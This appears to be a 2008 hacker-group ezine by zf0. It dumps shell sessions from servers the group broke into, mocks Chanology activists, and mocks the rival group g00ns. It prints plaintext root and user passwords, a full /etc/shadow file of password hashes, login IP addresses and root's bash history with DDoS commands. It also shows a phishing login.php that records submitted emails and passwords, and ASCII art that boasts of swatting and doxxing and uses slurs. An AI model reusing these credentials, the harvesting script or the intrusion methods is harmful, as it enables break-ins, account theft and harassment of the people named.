# When you make changes to this configuration file, this will make
# sure that cached pages are cleared.
$configdate = gmdate( 'YmdHis', @filemtime( __FILE__ ) );
$wgCacheEpoch = max( $wgCacheEpoch, $configdate );

?>
$ cat /etc/passwd
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
picatta:*:1001:1001:picatta:/home/picatta:/bin/sh
general:*:1002:1002:general:/home/general:/bin/sh
mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh
$ ls -al /usr/home
total 8
drwxr-xr-x   4 root	wheel	 512 Mar  8 07:48 .
drwxr-xr-x  17 root	wheel	 512 Mar  8 07:48 ..
drwxr-xr-x   2 general	general  512 Mar  8 07:48 general
drwxr-xr-x   2 picatta	picatta  512 Mar  8 07:47 picatta
$ cd ~picatta
$ ls -al
total 20
drwxr-xr-x  2 picatta  picatta	512 Mar  8 07:47 .
drwxr-xr-x  4 root     wheel	512 Mar  8 07:48 ..
-rw-r--r--  1 picatta  picatta	751 Mar  8 07:47 .cshrc
-rw-r--r--  1 picatta  picatta	248 Mar  8 07:47 .login
-rw-r--r--  1 picatta  picatta	158 Mar  8 07:47 .login_conf
-rw-------  1 picatta  picatta	373 Mar  8 07:47 .mail_aliases
-rw-r--r--  1 picatta  picatta	331 Mar  8 07:47 .mailrc
-rw-r--r--  1 picatta  picatta	766 Mar  8 07:47 .profile
-rw-------  1 picatta  picatta	276 Mar  8 07:47 .rhosts
-rw-r--r--  1 picatta  picatta	975 Mar  8 07:47 .shrc
$ cd ~general
$ ls -al
total 20
drwxr-xr-x  2 general  general	512 Mar  8 07:48 .
drwxr-xr-x  4 root     wheel	512 Mar  8 07:48 ..
-rw-r--r--  1 general  general	751 Mar  8 07:48 .cshrc
-rw-r--r--  1 general  general	248 Mar  8 07:48 .login
-rw-r--r--  1 general  general	158 Mar  8 07:48 .login_conf
-rw-------  1 general  general	373 Mar  8 07:48 .mail_aliases
-rw-r--r--  1 general  general	331 Mar  8 07:48 .mailrc
-rw-r--r--  1 general  general	766 Mar  8 07:48 .profile
-rw-------  1 general  general	276 Mar  8 07:48 .rhosts
-rw-r--r--  1 general  general	975 Mar  8 07:48 .shrc
$ cd /usr/local/www/apache22/data/auth
$ ls -al
total 8
drwxr-xr-x   2 root  picatta   512 Mar	8 17:41 .
drwxr-xr-x  28 root  wheel    1536 Mar	8 22:01 ..
-rwxr-xr-x   1 root  picatta	 2 Mar	5 12:47 account.txt
-rwxr-xr-x   1 root  picatta   169 Mar	5 12:47 login.php
$ cat account.txt
:
$ cat login.php
<?php
  $email = $_POST['email'];
  $password = $_POST['password'];
  $fw = fopen('account.txt', 'a');
  fwrite($fw, $email . ":" . $password . "\n");
  fclose($fw);
?>
$ ls -al /var/mail
total 4
drwxrwxr-x   2 root	mail	 512 Mar  8 22:05 .
drwxr-xr-x  24 root	wheel	 512 Mar  8 22:05 ..
-rw-------   1 cyrus	cyrus	   0 Mar  8 22:05 cyrus
-rw-------   1 general	general    0 Mar  8 07:48 general
-rw-------   1 mysql	mysql	   0 Mar  8 16:38 mysql
-rw-------   1 picatta	picatta    0 Mar  8 07:47 picatta
$

/*****************************************************************/

Well, that was fun...

Remember, you are not as untouchable as you think you are. As long as you have a
website up somewhere or are IRC'ing on public networks (btw, do you honestly
think that EFNet provides a secure communications channel?) you are within the
reach of those who would wish you harm.

To be perfectly honest, you indoctrinate your members just as much as the
supposed evil CoS that you fight against. I honestly don't see the difference
between your methods and those that you allege they use.

Your actions are childish. You attack sites and people that have done nothing
to you and whom you have no battle with. Hell, a lot of the time you don't even
attack the right target. That speaks volumes about your collective abilities.

Again, we beseach you to remember that you are *not* untouchable. While 99% of
the time you will anger people who have no power to hit back, or who have
no friends with the ability to retaliate, the remaining 1% of the time you will
anger people who can and will hurt you.

Knock off this Chanology crap and go back to posting on 4chan and playing
CounterStrike. You're in a world you know nothing about and you do not belong
here.

We would have dumped your MediaWiki DB but it was full of crap and only had 32
registered users.

This was for you X. Hopefully it helps.


#############################################################
#                     THE ADVENTURES OF                     #
#                __                                         #
#     .--------.|__|.----.----.-----.                       #
#     |        ||  ||  __|   _|  _  |                       #
#     |__|__|__||__||____|__| |_____|                       #
#                                             __            #
#                         .-----.-----.-----.|__|.-----.    #
#                         |  _  |  -__|     ||  ||__ --|    #
#                         |   __|_____|__|__||__||_____|    #
#                         |__|                              #
#                                                           #
#############################################################
#                      |      #  ________________________   #
#                      | [] []# |                        |  #
#                      |      # |<mp> r0fl3 i juST g0t   |  #
#  FUCK YOU! Co$!      | [] []# |bunCH of RFI's from b0ts|  #
#      \               |      # |i r teh le3ats          |  #
#       \              |  ____# |                        |  #
#     lulz O_O i just  |  |___# |<sk1d> LUCKY!!11!       |  #
#      raged you so    |      # |                        |  #
#      hard!!          | ?  __# '-.____________________.-'  #
#      /               |  o | #         |________|          #
#___8=D________________|__|_|_#  ______/__________\______   #
#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# |________________________|  #
#                             #  |(type type)           |   #
#-  -  -  -  -  -  -  -  -  - #  |   \ _____ _____      |   #
#                             #  |    /     '     \     |   #
#############################################################
#                      |      #                      |      #
# r0flzc0ptu3z i just  | [] []# SHUT UP Co$!!        | [] []#
#     /                |      #     /            Thats IT!  #
# swated that f4g and  | [] []#     \              / | [] []#
#      \               |      #      \    I'M CALLING|      #
#       \              |  ____#       \          \   |  ____#
#   dropp3d his doc's  |  |___#        \         The |  |___#
#     i iz so0         |Go    #        /            \|      #
#      l33t!!          |Away__#   Whats zf0no?      zf0no___#
#      /               | 'o | #      /               | 'o | #
#___8=D________________|__|_|_#___8=D________________|__|_|_#
#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#
#                             #                             #
#-  -  -  -  -  -  -  -  -  - #-  -  -  -  -  -  -  -  -  - #
#                             #                             #
#############################################################
#                                                           #
#                  ,-.             __                       #
#                ,'   `---.___.---'  `.                     #
#              ,'   ,-                 `-._                 #
#            ,'    /                       \   .-           #
#         ,\/     /  zf0 + Rhino => zf0no  \\ ((            #
#     )`._)>)     |                         \\//            #
#     `>,'    _   \                  /       |/      *-_    #
#       )      \   |   |     zf04   |        | o        `-. #
#  ,   /        \  |    `.          |        |   o *   (`-' #
#\ \`-'          )-|      `.        |        /     '-  .'   #
#\`-`   .`     _/  \ _     )`-.___.--\      /     O _`-._   #
#_\_         ,'_____\ `.__/___________`.    \_____,'^, c-)__#
#__/ ,    ,'/_/_/_/_/\   /`/_/_/_/_/_/_/\   /_/_/(_`-' ^-'`)#
#  \__   /           _) (               _) (   (^_  -    _ |#
#-  -`--' -  -  -  -/____\-  -  -  -  -/____\-(_,-.  8=D   |#
#                                                `-_______* #
#############################################################
#                                                           #
#   Once Again Micro Penis Is                               #
#                                             __            #
#              .-----.--.--.--.-----.-----.--|  |           #
#              |  _  |  |  |  |     |  -__|  _  |           #
#              |   __|________|__|__|_____|_____|           #
#              |__|                                         #
#                                               (c) zf0 2008#
#############################################################



zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0                                                                                 zf0
zf0                                       g00ns                                     zf0
zf0                                                                                 zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0



z3r0 -> tribal: its possible someone hacked the user account
z3r0 -> tribal: but doubtful
tribal -> z3r0: yeah but if thats true
tribal -> z3r0: they wouldn't be able to change the bash history

~~~~~~~~~~~~~~~~~~~~~~~~~~

Current g00ns shell passwords:

root:Yuh89Kiol0?
bnc:dwAFkCWx
barnseo:jatQeT77Q2be

~~~~~~~~~~~~~~~~~~~~~~~~~~


[root@demon2 ~]# uname -a; id
Linux demon2.rage-servers.com 2.6.22.9-grsec #11 SMP Mon Feb 11 22:15:20 PST 2008 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@demon2 ~]# cat /etc/shadow
root:$1$eE12wKEE$tmHFeYudmmO3rwwe7l7Cj1:13917:0:99999:7:::
bin:*:13726:0:99999:7:::
daemon:*:13726:0:99999:7:::
adm:*:13726:0:99999:7:::
lp:*:13726:0:99999:7:::
sync:*:13726:0:99999:7:::
shutdown:*:13726:0:99999:7:::
halt:*:13726:0:99999:7:::
mail:*:13726:0:99999:7:::
news:*:13726:0:99999:7:::
uucp:*:13726:0:99999:7:::
operator:*:13726:0:99999:7:::
games:*:13726:0:99999:7:::
gopher:*:13726:0:99999:7:::
ftp:*:13726:0:99999:7:::
nobody:*:13726:0:99999:7:::
dbus:!!:13726:0:99999:7:::
mailnull:!!:13726:0:99999:7:::
smmsp:!!:13726:0:99999:7:::
nscd:!!:13726:0:99999:7:::
vcsa:!!:13726:0:99999:7:::
haldaemon:!!:13726:0:99999:7:::
rpc:!!:13726:0:99999:7:::
rpcuser:!!:13726:0:99999:7:::
nfsnobody:!!:13726:0:99999:7:::
sshd:!!:13726:0:99999:7:::
pcap:!!:13726:0:99999:7:::
rpm:!!:13726:0:99999:7:::
named:!!:13726::::::
apache:!!:13726::::::
diradmin:!!:13726::::::
mysql:!!:13726::::::
webapps:!!:13726:0:99999:7:::
majordomo:!!:13726::::::
admin:$1$k67PPtsg$vReIxhUQshkQHrgN8qop4/:13727:0:99999:7:::
barnseo:$1$eSkx8Cwh$l/eNlfFan8WqvNlt3CcJd/:13943:0:99999:7:::
bored:$1$VDoQ7SvP$hzgNmjDbAo1YV1UN1HnSa1:13727:0:99999:7:::
churc0:$1$tsI0iJf7$6NvNZKfpK/NMNbhrQTmlA0:13727:0:99999:7:::
connors:$1$2ULc9Bif$sujzvc6bBq/w9fUjMC/ru/:13727:0:99999:7:::
every:$1$wC6e9J4r$fHgJBV5mvsjDfu1mbP1ya1:13727:0:99999:7:::
evilcode:$1$w3V6Hy9R$Ulia4Vw0Ka2BppbF0/lH50:13732:0:99999:7:::
excodeirc:$1$rFGBHx30$NQBXJyn58wCMprwtX6zYw0:13774:0:99999:7:::
exploiterc:$1$VEmT3ImD$VxH8EvofWX8ewPX4M4wk00:13727:0:99999:7:::
felosii:$1$G2Mg7vW9$SoUIbysYX.nTApiriA6CC/:13727:0:99999:7:::
g00nsts395:$1$1joDOdxa$Us6bM7CJhw0BTgErxTI5p0:13748:0:99999:7:::
grumpy:$1$dX3cnqpU$oApeYwRlHfDpoG4RpaGwD.:13727:0:99999:7:::
illmob:$1$gFYsh9oD$LVzfHbh.UyLCGp/HoP2xC.:13727:0:99999:7:::
pingyill:$1$5b3IbBeK$pRofjZ3/JiBjPG3OYgP900:13727:0:99999:7:::
rageserver:$1$lI4HM14j$2vJACLQYNTxJDZ6GkJRBv0:13727:0:99999:7:::
robo:$1$u0sPxruz$eaFFqL4tnXsKcCOkrq2/O.:13727:0:99999:7:::
sn00g3s:$1$brOb0Seg$FGzBeV5S89j5AgDgYaRSG/:13970:0:99999:7:::
void:$1$tBjUtZVx$6Vzt0IHhNIQU8QLU6lymO/:13727:0:99999:7:::
alliancedn:$1$JitYsrIg$Mz0Q3fgnLDDmnEITkHB1t1:13727:0:99999:7:::
aosw:$1$2EhcyqE8$b2JIrTsCg6svFPqe4bSvB.:13727:0:99999:7:::
ntp:!!:13727::::::
hackrad:$1$pnZjslMq$F1X4eS3kW4DjnxNJq6l7w.:13727:0:99999:7:::
mycorp:$1$7PzKv9I_$SdcZN/fvAe5M1/g.nV3Ve/:13727:0:99999:7:::
ragedns:$1$0ZhTdSDG$8tIyV/igSTp2FW1DLg0bI.:13727:0:99999:7:::
shoutcas:$1$EyPac5O4$twiXOZ2pCQF2N02Yn1ysF/:13732:0:99999:7:::
g00ns83:$1$11pX9sPu$10H8SuDhVaqzctQl1hK/T.:13985:0:99999:7:::
avahi:!!:13728::::::
xfs:!!:13728::::::
bnc:$1$oJ272Xoy$A/YVfI3PIEVShTgTfBKVY1:13729:0:99999:7:::
felosi:$1$nsjb27Ih$r4cu3KkmTBUcHBnpKlcAd/:13729:0:99999:7:::
egg:$1$IhIgFiwf$ZbLk7EMZ2mW9h5SZ.mibv.:13735:0:99999:7:::
dougie:$1$xSp9e8mS$aiGml3legHEIUPrB5zyNp/:13737:0:99999:7:::
proc:!!:13748:0:99999:7:::
cstest:$1$ocq0fShx$6dKqaaMhVyvob5DW5sBeK1:13859:0:99999:7:::
partyvan:!!$1$lGkCPwxP$aaKltWujl.3mkQjqgKJ311:13864:0:99999:7:::
40zzz:$1$I1xSLk9k$0.mmuo5Si8UlQXaUJ4VRF1:13869:0:99999:7:::
tflux:$1$ftEvmzkA$RlkyQtPH.ebC0J8lWiZxm/:13875:0:99999:7:::
hthhost:$1$sdsbg7Bd$UaK2rXwsmZjwQYV8/4FUa1:13877:0:99999:7:::
party:$1$f2EVqqGx$H/sktpSQFCpoOz8tQpNsu/:13912:0:99999:7:::
silc:$1$dhGqC6Gf$UEHea6QzCwrkfB8ZB2gDV1:13897:0:99999:7:::
ident:!!:13910:0:99999:7:::
lost:$1$5EpPopQR$0klUI/mKzjxPR0CV7qp2f/:13926:0:99999:7:::
cunt:$1$7EyJ/1Qa$4Xy96JHb7dRjxxq.FDCsQ0:13947:0:99999:7:::
tribal:$1$qF0PcFfr$76GBdRhLgM5lEGpjZQLPL1:13947:0:99999:7:::
sixtyz:$1$9oLYqc3p$.KffXrzMGVAQ2bdOrgkoY1:13986:0:99999:7:::
hanon:$1$oQBfvCtT$LymNfsGG9wHkUwKn41Cim/:13961:0:99999:7:::
pvannet:$1$hYiASnKV$.CxXbIqEMR6kAoRRKVLfo1:13965:0:99999:7:::
[root@demon2 ~]# ps auxwww | grep -v root | grep -v mysql
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
ftp       2319  0.0  0.0   2736  1424 ?        Ss   Mar18   0:00 proftpd: (accepting connections)
dbus      3183  0.0  0.0   2784   672 ?        Ss   Feb11   0:00 dbus-daemon --system
mail      3813  0.0  0.0   8760   712 ?        Ss   Feb11   0:36 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid
avahi     4434  0.0  0.0   2600   648 ?        Ss   Feb11   0:00 avahi-daemon: running [demon2.local]
68        4450  0.0  0.0   5276   736 ?        Ss   Feb11   0:00 hald
named     4618  0.0  0.4  48712  8296 ?        Ssl  Feb11  55:55 /usr/sbin/named -u named
bnc       5470  0.0  0.0   5568  1560 ?        S    Feb11   0:53 ./psybnc
apache   12745  0.0  0.3 113532  7368 ?        Ss   Apr16   0:00 lsphp -c /usr/local/lib
bnc      14297  0.0  0.1   5544  2144 ?        S    Apr19   0:04 ./psybnc psybnc.gso.conf
nobody   15071  0.0  0.0   8708  1292 ?        Ss   Apr01   0:00 /usr/local/directadmin/directadmin d
510      16899  0.0  0.1   6728  3232 ?        S    Apr14   0:00 /home/excodeirc/Unreal3.2/src/ircd
evilcode 17493  0.0  0.8  19904 17704 ?        S    Apr19   1:08 /home/evilcode/newircd/Unreal3.2.7/src/ircd
egg      20683  0.0  0.2  17204  5172 ?        Sl   Apr14   7:14 ./eggdrop-1.6.18 v0ltr0n.conf
egg      20745  0.0  0.1  13380  3432 ?        Sl   Apr14   0:02 ./eggdrop sentry.conf
egg      20748  0.0  0.1  13544  3420 ?        Sl   Apr14   0:00 ./eggdrop boneless.conf
egg      20758  0.0  0.1  13404  3396 ?        Sl   Apr14   0:00 ./eggdrop keebler.conf
egg      20770  0.0  0.1   4412  3428 ?        Ss   Apr14   0:31 /home/egg/efnet/fight hacker
egg      20773  0.0  0.1   3548  2588 ?        Ss   Apr14   0:19 /home/egg/efnet/fight logic
egg      20776  0.0  0.1   3588  2692 ?        Ss   Apr14   0:17 /home/egg/efnet/fight bloo
egg      20779  0.0  0.1   3552  2640 ?        Ss   Apr14   0:18 /home/egg/efnet/fight etho
egg      20793  0.0  0.1   3564  2720 ?        Ss   Apr14   0:17 /home/egg/efnet/fight notgay
egg      20798  0.0  0.1   3576  2676 ?        Ss   Apr14   0:24 /home/egg/efnet/fight hthbot
513      23089  0.0  0.1  73380  2388 ?        SNl  Apr16   0:26 ./server_linux
513      23913  0.0  0.2  50844  5016 ?        SNl  Apr16   0:00 ./server_linux -PID=tsserver2.pid
apache   28366  0.0  0.6 121208 14104 ?        S    13:11   0:00 lsphp -c /usr/local/lib
nobody   29950  0.0  0.0   8708   572 ?        S    Apr20   0:00 /usr/local/directadmin/directadmin d
nobody   29960  0.0  0.0   8708   572 ?        S    Apr20   0:00 /usr/local/directadmin/directadmin d
g00ns83  29999  0.0  0.5 114628 10976 ?        S    13:26   0:00 lsphp -c /usr/local/lib
sn00g3s  30011  0.9  0.5 114844 11788 ?        S    13:26   0:00 lsphp -c /usr/local/lib
every    30024  1.6  0.5 114452 12264 ?        S    13:26   0:00 lsphp -c /usr/local/lib
nobody   30111  0.0  0.0   8708   572 ?        S    Apr20   0:00 /usr/local/directadmin/directadmin d
nobody   30168  0.0  0.0   8708   572 ?        S    Apr20   0:00 /usr/local/directadmin/directadmin d
nobody   30170  0.0  0.0   8708   572 ?        S    Apr20   0:00 /usr/local/directadmin/directadmin d
apache   32186  0.0  0.6  16400 12960 ?        S    Apr16   4:36 lshttpd
[root@demon2 ~]# ls -al
total 18128
drwxr-x--- 14 root root     4096 Mar 27 16:14 .
drwxr-xr-x 27 root root     4096 Mar 11 00:10 ..
-rw-r--r--  1 root root 16777216 Sep 17  2004 16mb.test.file.zip
-rw-------  1 root root     1077 Jul 31  2007 anaconda-ks.cfg
drwxr-xr-x  2 root root     4096 Sep 13  2007 ani
-rw-------  1 root root     9305 Apr 21 13:23 .bash_history
-rw-r--r--  1 root root       24 Jan  6  2007 .bash_logout
-rw-r--r--  1 root root      191 Jan  6  2007 .bash_profile
-rw-r--r--  1 root root      176 Jan  6  2007 .bashrc
-rw-r--r--  1 root root   337529 Apr 17  2006 Bastille-3.0.9-1.0.noarch.rpm
drwxrwxrwx  5 1000 1000    12288 Mar 17 19:47 c-ares-1.5.1
-rw-r--r--  1 root root   445312 Nov 21 02:14 c-ares-1.5.1.tar.gz
-rw-r--r--  1 root root    20136 Dec 19 19:30 cores
drwxr-xr-x  4 root root     4096 Feb 23 19:17 .cpan
drwxr-xr-x  5 root root     4096 Feb 10 12:56 csf
-rw-r--r--  1 root root   238005 Jan 21 09:19 csf.tgz
-rw-r--r--  1 root root      100 Jan  6  2007 .cshrc
drwx------  2 root root     4096 Jan 25 16:29 .elinks
-rw-r--r--  1 root root     8192 Jan  6 17:37 flood
-rw-r--r--  1 root root    13333 Jul 31  2007 install.log
-rw-r--r--  1 root root     2551 Jul 31  2007 install.log.syslog
-rw-r--r--  1 root root    12033 Jan  6 17:30 ips
-rw-------  1 root root       45 Apr 19 14:04 .lesshst
drwxr-xr-x  4 root root     4096 Dec 31 01:35 lynis
-rw-r--r--  1 root root    46388 Dec 26 11:13 lynis-1.0.6.tar.gz
-rw-r--r--  1 root root      754 Feb 10 17:12 Makefile
-rw-r--r--  1 root root        0 Feb 10 17:12 Module.symvers
-rw-------  1 root root       41 Jan 31 02:49 .my.cnf
-rw-------  1 root root      419 Sep 29  2007 .nessusrc
-rw-r--r--  1 root root       51 Sep 29  2007 .nessusrc.cert
-rw-r--r--  1 root root      656 Jan  6 17:37 new
-rw-r--r--  1 root root      656 Jan  6 17:38 new1
drwxr-xr-x  3 root root     4096 Mar 25 13:40 newircd
-rw-r--r--  1 root root     1462 Aug 19  2007 opt.php
-rw-r--r--  1 root root     3502 Feb 10 16:03 ptpatch2008.c
-rw-r--r--  1 root root     5704 Feb 10 17:12 ptpatch2008.ko
-rw-r--r--  1 root root      126 Feb 10 17:12 .ptpatch2008.ko.cmd
-rw-r--r--  1 root root      870 Feb 10 17:12 ptpatch2008.mod.c
-rw-r--r--  1 root root     3404 Feb 10 17:12 ptpatch2008.mod.o
-rw-r--r--  1 root root    11168 Feb 10 17:12 .ptpatch2008.mod.o.cmd
-rw-r--r--  1 root root     3080 Feb 10 17:12 ptpatch2008.o
-rw-r--r--  1 root root    16774 Feb 10 17:12 .ptpatch2008.o.cmd
drwxrwxr-x  3  666  666     4096 Sep 22  2007 rkhunter-1.3.0
-rw-r--r--  1 root root   252011 Sep 22  2007 rkhunter-1.3.0.tar.gz
-rw-------  1 root root     1024 Jan 31 05:43 .rnd
drwxr-xr-x  4 1000 1000     4096 Nov 29 14:48 rootcheck-0.7
-rw-r--r--  1 root root    42488 Mar 17  2006 rootcheck-0.7.tar.gz
drwx------  2 root root     4096 Feb 10 12:55 .ssh
drwxr-x---  2 root root     4096 Dec 11 17:39 .steam
-rw-r--r--  1 root root      129 Jan  6  2007 .tcshrc
drwxr-xr-x  2 root root     4096 Feb 10 17:12 .tmp_versions
-rw-r--r--  1 root root    42596 Aug  9  2007 tuning-primer.sh
-rw-r--r--  1 root root    11623 Jan  6 17:36 udpflood
-rw-r--r--  1 root root    12033 Jan  6 17:30 udpips
[root@demon2 ~]# last -n 30
root     pts/1        74-34-107-191.ds Mon Apr 21 03:44 - 13:23  (09:39)
andrei@t ftpd27076    99.146.188.71    Sun Apr 20 17:01 - 17:07  (00:05)
andrei@t ftpd21033    99.146.188.71    Sun Apr 20 16:06 - 16:11  (00:05)
andrei@t ftpd18185    99.146.188.71    Sun Apr 20 15:40 - 15:56  (00:15)
andrei@t ftpd14422    99.146.188.71    Sun Apr 20 15:04 - 15:20  (00:16)
every    ftpd13689    76.189.145.31    Sun Apr 20 09:56 - 10:03  (00:07)
bnc      pts/1        78.129.174.155   Sat Apr 19 20:27 - 20:31  (00:04)
bnc      pts/1        78.129.174.155   Sat Apr 19 17:53 - 18:39  (00:45)
bnc      pts/2        78.129.174.155   Sat Apr 19 15:03 - 15:06  (00:02)
root     pts/2        ip70-180-48-83.b Sat Apr 19 10:35 - 11:25  (00:50)
every    ftpd20255    76.189.145.31    Fri Apr 18 15:42 - 15:42  (00:00)
every    ftpd18019    76.189.145.31    Fri Apr 18 15:26 - 15:41  (00:15)
root     pts/0        fl-71-51-173-254 Wed Apr 16 19:52 - 20:43  (00:50)
andrei@t ftpd32363    99.146.188.71    Wed Apr 16 17:33 - 17:37  (00:04)
root     pts/0        fl-71-51-173-254 Wed Apr 16 17:28 - 19:09  (01:41)
andrei@t ftpd30547    99.146.188.71    Wed Apr 16 17:18 - 17:29  (00:11)
andrei@t ftpd30546    99.146.188.71    Wed Apr 16 17:18 - 17:23  (00:05)
root     pts/0        fl-71-51-173-254 Tue Apr 15 21:14 - 21:57  (00:42)
root     pts/0        fl-71-51-173-254 Mon Apr 14 22:23 - 23:11  (00:47)
root     pts/0        fl-71-51-173-254 Mon Apr 14 13:46 - 14:28  (00:42)
kl@60z.o ftpd10215    77.221.133.186   Mon Apr 14 00:32 - 00:32  (00:00)
andrei@t ftpd19694    99.146.188.71    Sun Apr 13 20:40 - 20:45  (00:05)
andrei@t ftpd12210    99.146.188.71    Sun Apr 13 19:22 - 19:36  (00:13)
andrei@t ftpd10428    99.146.188.71    Sun Apr 13 19:03 - 19:11  (00:07)
andrei@t ftpd9290     99.146.188.71    Sun Apr 13 18:52 - 18:57  (00:05)
andrei@t ftpd9291     99.146.188.71    Sun Apr 13 18:52 - 18:57  (00:05)
root     pts/0        ip70-180-48-83.b Sat Apr 12 11:39 - 11:40  (00:00)
root     pts/0        ip70-180-48-83.b Sat Apr 12 10:02 - 10:06  (00:03)
root     pts/0        fl-71-51-173-254 Thu Apr 10 13:32 - 13:45  (00:12)
root     pts/0        fl-71-51-173-254 Mon Apr  7 17:43 - 18:36  (00:53)

wtmp begins Sun Mar  2 09:43:08 2008
[root@demon2 ~]# cat /etc/issue
CentOS release 5 (Final)
Kernel \r on an \m

[root@demon2 ~]# cat .bash_history
w
passwd g00ns83
top
w
cd /home
ls
ls pr0be
cd g00ns83
ls
cd public_html
ls
nano in.php
ls katalyst/
nano includes/config.php
nano includes/config.php
chown includes/config.php g00ns83
chown g00ns83 includes/config.php
ls includes
ls -o includes
ls
ls -o
ls image -o
ls -o image
chown g00ns83 *
ls
ls
cd /
ls
makeuser cunt
adduser cunt
passwd cunt
s
ls
cd /home/sn00g3s
cd public_Html
cd public_html
ls
mkdir hid
nano hid/index.php
chown sn00g3s
chown sn00g3s *
ls
ls -o
ls hid
rm -rf hid
cd /home/g00ns83/public_Html
cd /home/g00ns83/public_html
ls
mkdir tribal
cd tribal
nano index.php
rm index.php
nano index.php
rm index.php
nano index.php
rm index.php
nano index.php
cd /home/g00ns83
chown g00ns83 *
w
ls -o
cd /home
passwd cunt
cd /home/cunt
ls
wget http://www.shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz
ls
tar -xzf sc_serv_1.9.8_Linux.tar.gz
ls
nano sc_serv.conf
sudo cunt
su cunt
ls
cd unrealold/
ls
cd /home/excodeirc
ls
cd Unreal
cd Unreal3.2
ls
nano unrealircd.conf
ls
ls -o
cd /home/evilcodeirc
cd /home
ls
cd evilcode
ls
cd Unreal3.2/
ls
nano unrealircd.conf
cd /home/excodeirc
cd Unreal3.2
ls
nano unrealircd.conf
ls -o
cd /hom
ls
cd /home
ls
ls -o
ls tmp
ls asbestos
cd asbestos
cd domains
ls
cd asbestosbeware.org
ls
cd /
ls
w
ls tmp
ls
ps -aux | grep ircd
netstat | grep ircd
ls
netstat
ddos
ddos
csf -d 24.3.92.79
nano /etc/csf/csf.allow
csf -d 24.3.92.79
csf -r
csf -d 24.3.92.79
csf
csf -c
csf -r
csf -d 24.3.92.79
nano /etc/csf/csf.allow
csf -d 24.3.92.79
ddos
syn
synall
ls
ls -o
ls root
cd /home/pr0be
ls
rm -rf irssi-0.8.12
rm irssi-0.8.12.tar.gz
ls
userdel
userdel -f pr0be
cd /home
ls
useradd tribal
passwd
ls
chown cunt *
su cunt
w
passwd tribal
ls
nano /etc/passwd
cd /home/tribal
ls
su tribal
ls
cd /home/tribal
ls
su tribal
ls
w
cd /
ls
nano /etc/csf/csf.deny
csf -r
cd /home
ls
cd excodeirc/
ls
cd Unreal
cd Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
make install
su tribal
w
ls
who
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/evilcodeirc
cd /home/evilcoders
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
nano /etc/csf/csf.deny
csf -a 24.205.142.108 /etc/csf
w
ddos
ddos
csf -r
syn
ls
ls
w
ddos
netstat
w
who
ls
cd /
ls
ls etc
ls var
ls bin
ls * | grep ddos
synd
ls
nano /etc/csf/csf.deny
nst | grep 72.20.26.211
netstat | grep 72.20.26.211
tcodump -nn -vv 72.20.26.211
tcpdump -nn -vv 72.20.26.211
netstat | grep 72.20.26.211
w
netstat | grep 72.20.26.211
w
dos
ls
ddos syng
ddos synd
ps -aux
kill -9 5174
ls
ps -aux
ls
ls /home
ls
cd /home/evilcode
ls
cd Unreal3.2
ls
./unreal
./unreal start
ps -aux
kill -9 3549
ps -aux
ls
ls ../
ls
ls ../../
su evilcode
ps -aux
ps -aux
ls
cd ../
ls
cd ../
ls
cd evilcode
ls
cd Unreal3.2
ls
nano unrealircd.conf
ls
cd ../../
ls
cd excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
su excodeirc
w
cd /home/excodeirc
netstat
ls
cd Unreal3.2
ls
nano unrealircd.conf
csf -d 79.126.130.156
w
ls
./unreal stop
./unreal start
